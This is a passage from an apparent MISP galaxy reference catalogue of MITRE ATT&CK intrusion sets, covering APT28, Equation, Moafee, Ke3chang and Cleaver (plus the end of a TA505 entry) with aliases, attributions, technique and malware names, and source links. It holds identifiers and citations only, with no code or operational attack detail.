- uses: misp-galaxy:mitre-attack-pattern="Mark-of-the-Web Bypass - T1553.005" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Credentials In Files - T1552.001" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-malware="SDBbot - S0461" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="PowerShell - T1059.001" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-malware="ServHelper - S0382" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Obfuscated Files or Information - T1027" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Data Encrypted for Impact - T1486" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Domain Accounts - T1078.002" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-malware="Clop - S0611" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Windows Command Shell - T1059.003" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Software Packing - T1027.002" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Web Protocols - T1071.001" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Visual Basic - T1059.005" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Ingress Tool Transfer - T1105" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Malicious Link - T1204.001" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-malware="Dridex - S0384" with estimative-language:likelihood-probability="almost-certain"

- uses: misp-galaxy:mitre-attack-pattern="Dynamic-link Library Injection - T1055.001" with estimative-language:likelihood-probability="almost-certain"

Table 5036. Table References

Links
https://attack.mitre.org/groups/G0092
https://securityintelligence.com/posts/ta505-continues-to-infect-networks-with-sdbbot-rat/
https://www.proofpoint.com/us/threat-insight/post/servhelper-and-flawedgrace-new-malware-introduced-ta505
https://www.proofpoint.com/us/threat-insight/post/ta505-shifts-times
https://www.proofpoint.com/us/threat-insight/post/threat-actor-profile-ta505-dridex-globeimposter

APT28 - G0007

[APT28](https://attack.mitre.org/groups/G0007) is a threat group that has been attributed to Russia's General Staff Main Intelligence Directorate (GRU) 85th Main Special Service Center (GTsSS) military unit 26165.(Citation: NSA/FBI Drovorub August 2020) This group has been active since at least 2004.(Citation: DOJ GRU Indictment Jul 2018) (Citation: Ars Technica GRU indictment Jul 2018) (Citation: Crowdstrike DNC June 2016) (Citation: FireEye APT28) (Citation: SecureWorks TG-4127) (Citation: FireEye APT28 January 2017) (Citation: GRIZZLY STEPPE JAR) (Citation: Sofacy DealersChoice) (Citation: Palo Alto Sofacy 06-2018) (Citation: Symantec APT28 Oct 2018) (Citation: ESET Zebrocy May 2019)

[APT28](https://attack.mitre.org/groups/G0007) reportedly compromised the Hillary Clinton campaign, the Democratic National Committee, and the Democratic Congressional Campaign Committee in 2016 in an attempt to interfere with the U.S. presidential election. (Citation: Crowdstrike DNC June 2016) In 2018, the US indicted five GRU Unit 26165 officers associated with [APT28](https://attack.mitre.org/groups/G0007) for cyber operations (including close-access operations) conducted between 2014 and 2018 against the World Anti-Doping Agency (WADA), the US Anti-Doping Agency, a US nuclear facility, the Organization for the Prohibition of Chemical Weapons (OPCW), the Spiez Swiss Chemicals Laboratory, and other organizations.(Citation: US District Court Indictment GRU Oct 2018) Some of these were conducted with the assistance of GRU Unit 74455, which is also referred to as [Sandworm Team](https://attack.mitre.org/groups/G0034).

The tag is: *misp-galaxy:mitre-intrusion-set="APT28 - G0007"*

APT28 - G0007 is also known as:

- APT28
- SNAKEMACKEREL
- Swallowtail
- Group 74
- Sednit
- Sofacy

- Pawn Storm
- Fancy Bear
- STRONTIUM
- Tsar Team
- Threat Group-4127
- TG-4127

View relationships graph

APT28 - G0007 has relationships with:

- uses: misp-galaxy:mitre-attack-pattern="Archive via Utility - T1560.001" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Screen Capture - T1113" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-tool="Net - S0039" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Rundll32 - T1218.011" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-malware="Downdelph - S0134" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Keylogging - T1056.001" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Password Guessing - T1110.001" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="OS Credential Dumping - T1003" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-tool="certutil - S0160" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Sharepoint - T1213.002" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Rootkit - T1014" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="External Remote Services - T1133" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Bootkit - T1542.003" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Data from Removable Media - T1025" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Local Data Staging - T1074.001" with estimative-language:likelihood-probability="almost-certain"

- uses: misp-galaxy:mitre-attack-pattern="Match Legitimate Name or Location - T1036.005" with estimative-language:likelihood-probability="almost-certain"
- similar: misp-galaxy:microsoft-activity-group="STRONTIUM" with estimative-language:likelihood-probability="likely"
- uses: misp-galaxy:mitre-attack-pattern="Dynamic Data Exchange - T1559.002" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Malicious File - T1204.002" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Symmetric Cryptography - T1573.001" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Obtain/re-use payloads - T1346" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Spearphishing Link - T1566.002" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Spearphishing Link - T1598.003" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-malware="OLDBAIT - S0138" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Spearphishing Attachment - T1566.001" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Automated Collection - T1119" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Network Sniffing - T1040" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Peripheral Device Discovery - T1120" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Remote Data Staging - T1074.002" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Replication Through Removable Media - T1091" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Data from Local System - T1005" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Deobfuscate/Decode Files or Information - T1140" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Email Accounts - T1586.002" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Exploit Public-Facing Application - T1190" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Exfiltration Over Web Service - T1567" with estimative-language:likelihood-probability="almost-certain"

- uses: misp-galaxy:mitre-attack-pattern="Domains - T1583.001" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Masquerading - T1036" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Buy domain name - T1328" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Timestomp - T1070.006" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="SMB/Windows Admin Shares - T1021.002" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-malware="Fysbis - S0410" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Archive Collected Data - T1560" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Mail Protocols - T1071.003" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Vulnerability Scanning - T1595.002" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-malware="X-Agent for Android - S0314" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-malware="XAgentOSX - S0161" with estimative-language:likelihood-probability="almost-certain"
- similar: misp-galaxy:threat-actor="APT28" with estimative-language:likelihood-probability="likely"
- uses: misp-galaxy:mitre-attack-pattern="Web Shell - T1505.003" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-malware="CORESHELL - S0137" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Communication Through Removable Media - T1092" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Clear Windows Event Logs - T1070.001" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="LSASS Memory - T1003.001" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Password Spraying - T1110.003" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="External Proxy - T1090.002" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-malware="XTunnel - S0117" with estimative-language:likelihood-probability="almost-certain"

- uses: misp-galaxy:mitre-attack-pattern="File and Directory Discovery - T1083" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Token Impersonation/Theft - T1134.001" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Web Services - T1583.006" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Steal Application Access Token - T1528" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-malware="JHUHUGIT - S0044" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Exfiltration Over Asymmetric Encrypted Non-C2 Protocol - T1048.002" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-malware="DealersChoice - S0243" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Process Discovery - T1057" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-tool="Forfiles - S0193" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-tool="Winexe - S0191" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="PowerShell - T1059.001" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-malware="Drovorub - S0502" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Exploitation of Remote Services - T1210" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Registry Run Keys / Startup Folder - T1547.001" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Trusted Relationship - T1199" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-tool="Responder - S0174" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Tool - T1588.002" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-malware="Zebrocy - S0251" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Multi-hop Proxy - T1090.003" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Brute Force - T1110" with estimative-language:likelihood-probability="almost-certain"

- uses: misp-galaxy:mitre-attack-pattern="Data from Network Shared Drive - T1039" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-malware="USBStealer - S0136" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-tool="Mimikatz - S0002" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Valid Accounts - T1078" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Exploitation for Privilege Escalation - T1068" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Obfuscated Files or Information - T1027" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Remote Email Collection - T1114.002" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-malware="LoJax - S0397" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Component Object Model Hijacking - T1546.015" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Credentials - T1589.001" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Bidirectional Communication - T1102.002" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Exploitation for Client Execution - T1203" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Data Transfer Size Limits - T1030" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-tool="Koadic - S0250" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Hidden Window - T1564.003" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Phishing for Information - T1598" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-malware="CHOPSTICK - S0023" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Windows Command Shell - T1059.003" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-malware="Cannon - S0351" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Data from Information Repositories - T1213" with estimative-language:likelihood-probability="almost-certain"

- uses: misp-galaxy:mitre-attack-pattern="File Deletion - T1070.004" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Drive-by Compromise - T1189" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Network Denial of Service - T1498" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Template Injection - T1221" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Web Protocols - T1071.001" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Pass the Hash - T1550.002" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-malware="HIDEDRV - S0135" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Ingress Tool Transfer - T1105" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Additional Email Delegate Permissions - T1098.002" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Logon Script (Windows) - T1037.001" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Hidden Files and Directories - T1564.001" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-tool="Tor - S0183" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Office Test - T1137.002" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="NTDS - T1003.003" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Malicious Link - T1204.001" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Application Access Token - T1550.001" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-malware="Komplex - S0162" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Cloud Accounts - T1078.004" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Junk Data - T1001.001" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Commonly Used Port - T1043" with estimative-language:likelihood-probability="almost-certain"

- uses: misp-galaxy:mitre-tool="Wevtutil - S0645" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-malware="ADVSTORESHELL - S0045" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Exploitation for Defense Evasion - T1211" with estimative-language:likelihood-probability="almost-certain"

Table 5037. Table References

Links
http://www.welivesecurity.com/wp-content/uploads/2016/10/eset-sednit-part3.pdf
https://arstechnica.com/information-technology/2018/07/from-bitly-to-x-agent-how-gru-hackers-targeted-the-2016-presidential-election/
https://attack.mitre.org/groups/G0007
https://blog.talosintelligence.com/2017/10/cyber-conflict-decoy-document.html
https://media.defense.gov/2020/Aug/13/2002476465/-1/-1/0/CSA_DROVORUB_RUSSIAN_GRU_MALWARE_AUG_2020.PDF
https://msrc-blog.microsoft.com/2019/08/05/corporate-iot-a-path-to-intrusion/
https://researchcenter.paloaltonetworks.com/2018/03/unit42-sofacy-uses-dealerschoice-target-european-government-agency/
https://researchcenter.paloaltonetworks.com/2018/06/unit42-sofacy-groups-parallel-attacks/
https://securelist.com/a-slice-of-2017-sofacy-activity/83930/
https://securelist.com/sofacy-apt-hits-high-profile-targets-with-updated-toolset/72924/
https://www.accenture.com/t20181129T203820Z*w*/us-en/_acnmedia/PDF-90/Accenture-snakemackerel-delivers-zekapab-malware.pdf#zoom=50[https://www.accenture.com/t20181129T203820Z*w*/us-en/_acnmedia/PDF-90/Accenture-snakemackerel-delivers-zekapab-malware.pdf#zoom=50]
https://www.crowdstrike.com/blog/bears-midst-intrusion-democratic-national-committee/
https://www.fireeye.com/content/dam/fireeye-www/global/en/current-threats/pdfs/rpt-apt28.pdf
https://www.justice.gov/file/1080281/download
https://www.justice.gov/opa/page/file/1098481/download
https://www.microsoft.com/security/blog/2020/09/10/strontium-detecting-new-patters-credential-harvesting/
https://www.secureworks.com/research/threat-group-4127-targets-hillary-clinton-presidential-campaign
https://www.symantec.com/blogs/election-security/apt28-espionage-military-government
https://www.us-cert.gov/sites/default/files/publications/JAR_16-20296A_GRIZZLY%20STEPPE-2016-1229.pdf
https://www.welivesecurity.com/2019/05/22/journey-zebrocy-land/

https://www2.fireeye.com/rs/848-DID-242/images/APT28-Center-of-Storm-2017.pdf

Equation - G0020

[Equation](https://attack.mitre.org/groups/G0020) is a sophisticated threat group that employs multiple remote access tools. The group is known to use zero-day exploits and has developed the capability to overwrite the firmware of hard disk drives. (Citation: Kaspersky Equation QA)

The tag is: *misp-galaxy:mitre-intrusion-set="Equation - G0020"*

Equation - G0020 is also known as:

- Equation

View relationships graph

Equation - G0020 has relationships with:

- uses: misp-galaxy:mitre-attack-pattern="Component Firmware - T1109" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Peripheral Device Discovery - T1120" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Component Firmware - T1542.002" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Hidden File System - T1564.005" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Environmental Keying - T1480.001" with estimative-language:likelihood-probability="almost-certain"

Table 5038. Table References

Links
https://attack.mitre.org/groups/G0020
https://media.kasperskycontenthub.com/wp-content/uploads/sites/43/2018/03/08064459/Equation_group_questions_and_answers.pdf

Moafee - G0002

[Moafee](https://attack.mitre.org/groups/G0002) is a threat group that appears to operate from the Guandong Province of China. Due to overlapping TTPs, including similar custom tools, Moafee is thought to have a direct or indirect relationship with the threat group [DragonOK](https://attack.mitre.org/groups/G0017). (Citation: Haq 2014)

The tag is: *misp-galaxy:mitre-intrusion-set="Moafee - G0002"*

Moafee - G0002 is also known as:

- Moafee

View relationships graph

Moafee - G0002 has relationships with:

- uses: misp-galaxy:mitre-attack-pattern="Binary Padding - T1027.001" with estimative-language:likelihood-probability="almost-certain"
- similar: misp-galaxy:threat-actor="DragonOK" with estimative-language:likelihood-probability="likely"
- uses: misp-galaxy:mitre-malware="PoisonIvy - S0012" with estimative-language:likelihood-probability="almost-certain"

Table 5039. Table References

Links
https://attack.mitre.org/groups/G0002
https://www.fireeye.com/blog/threat-research/2014/09/the-path-to-mass-producing-cyber-attacks.html

Ke3chang - G0004

[Ke3chang](https://attack.mitre.org/groups/G0004) is a threat group attributed to actors operating out of China. [Ke3chang](https://attack.mitre.org/groups/G0004) has targeted oil, government, diplomatic, military, and NGOs in Central and South America, the Caribbean, Europe, and North America since at least 2010.(Citation: Mandiant Operation Ke3chang November 2014)(Citation: NCC Group APT15 Alive and Strong)(Citation: APT15 Intezer June 2018)(Citation: Microsoft NICKEL December 2021)

The tag is: *misp-galaxy:mitre-intrusion-set="Ke3chang - G0004"*

Ke3chang - G0004 is also known as:

- Ke3chang
- APT15
- Mirage
- Vixen Panda
- GREF
- Playful Dragon
- RoyalAPT
- NICKEL

View relationships graph

Ke3chang - G0004 has relationships with:

- uses: misp-galaxy:mitre-attack-pattern="Archive via Utility - T1560.001" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-tool="Net - S0039" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="System Owner/User Discovery - T1033" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Keylogging - T1056.001" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Sharepoint - T1213.002" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="External Remote Services - T1133" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Security Account Manager - T1003.002" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="DNS - T1071.004" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Match Legitimate Name or Location - T1036.005" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="LSA Secrets - T1003.004" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Malware - T1587.001" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Domain Account - T1087.002" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Local Account - T1087.001" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-tool="ipconfig - S0100" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Windows Service - T1543.003" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Domain Groups - T1069.002" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-tool="Tasklist - S0057" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Automated Collection - T1119" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="System Service Discovery - T1007" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-tool="spwebmember - S0227" with estimative-language:likelihood-probability="almost-certain"

- uses: misp-galaxy:mitre-attack-pattern="System Information Discovery - T1082" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Data from Local System - T1005" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Deobfuscate/Decode Files or Information - T1140" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Exploit Public-Facing Application - T1190" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-tool="netstat - S0104" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-malware="Okrum - S0439" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-malware="Neoichor - S0691" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="SMB/Windows Admin Shares - T1021.002" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Archive Collected Data - T1560" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="LSASS Memory - T1003.001" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="System Network Configuration Discovery - T1016" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Command and Scripting Interpreter - T1059" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Golden Ticket - T1558.001" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Automated Exfiltration - T1020" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Right-to-Left Override - T1036.002" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="File and Directory Discovery - T1083" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="System Network Connections Discovery - T1049" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-tool="Systeminfo - S0096" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Process Discovery - T1057" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Exfiltration Over C2 Channel - T1041" with estimative-language:likelihood-probability="almost-certain"

- uses: misp-galaxy:mitre-attack-pattern="Registry Run Keys / Startup Folder - T1547.001" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Tool - T1588.002" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-tool="Mimikatz - S0002" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Valid Accounts - T1078" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Obfuscated Files or Information - T1027" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Remote Email Collection - T1114.002" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-tool="Ping - S0097" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="System Language Discovery - T1614.001" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Windows Command Shell - T1059.003" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Web Protocols - T1071.001" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Remote System Discovery - T1018" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-malware="MirageFox - S0280" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Ingress Tool Transfer - T1105" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="NTDS - T1003.003" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Service Execution - T1569.002" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Cloud Accounts - T1078.004" with estimative-language:likelihood-probability="almost-certain"

Table 5040. Table References

Links
https://attack.mitre.org/groups/G0004
https://research.nccgroup.com/2018/03/10/apt15-is-alive-and-strong-an-analysis-of-royalcli-and-royaldns/
https://www.fireeye.com/content/dam/fireeye-www/global/en/current-threats/pdfs/wp-operation-ke3chang.pdf

https://www.intezer.com/miragefox-apt15-resurfaces-with-new-tools-based-on-old-ones/
https://www.mandiant.com/resources/operation-ke3chang-targeted-attacks-against-ministries-of-foreign-affairs
https://www.microsoft.com/security/blog/2021/12/06/nickel-targeting-government-organizations-across-latin-america-and-europe

Cleaver - G0003

[Cleaver](https://attack.mitre.org/groups/G0003) is a threat group that has been attributed to Iranian actors and is responsible for activity tracked as Operation Cleaver. (Citation: Cylance Cleaver) Strong circumstantial evidence suggests Cleaver is linked to Threat Group 2889 (TG-2889). (Citation: Dell Threat Group 2889)

The tag is: *misp-galaxy:mitre-intrusion-set="Cleaver - G0003"*

Cleaver - G0003 is also known as:

- Cleaver
- Threat Group 2889
- TG-2889

View relationships graph

Cleaver - G0003 has relationships with:

- similar: misp-galaxy:threat-actor="Cutting Kitten" with estimative-language:likelihood-probability="likely"
- uses: misp-galaxy:mitre-attack-pattern="Malware - T1587.001" with estimative-language:likelihood-probability="almost-certain"
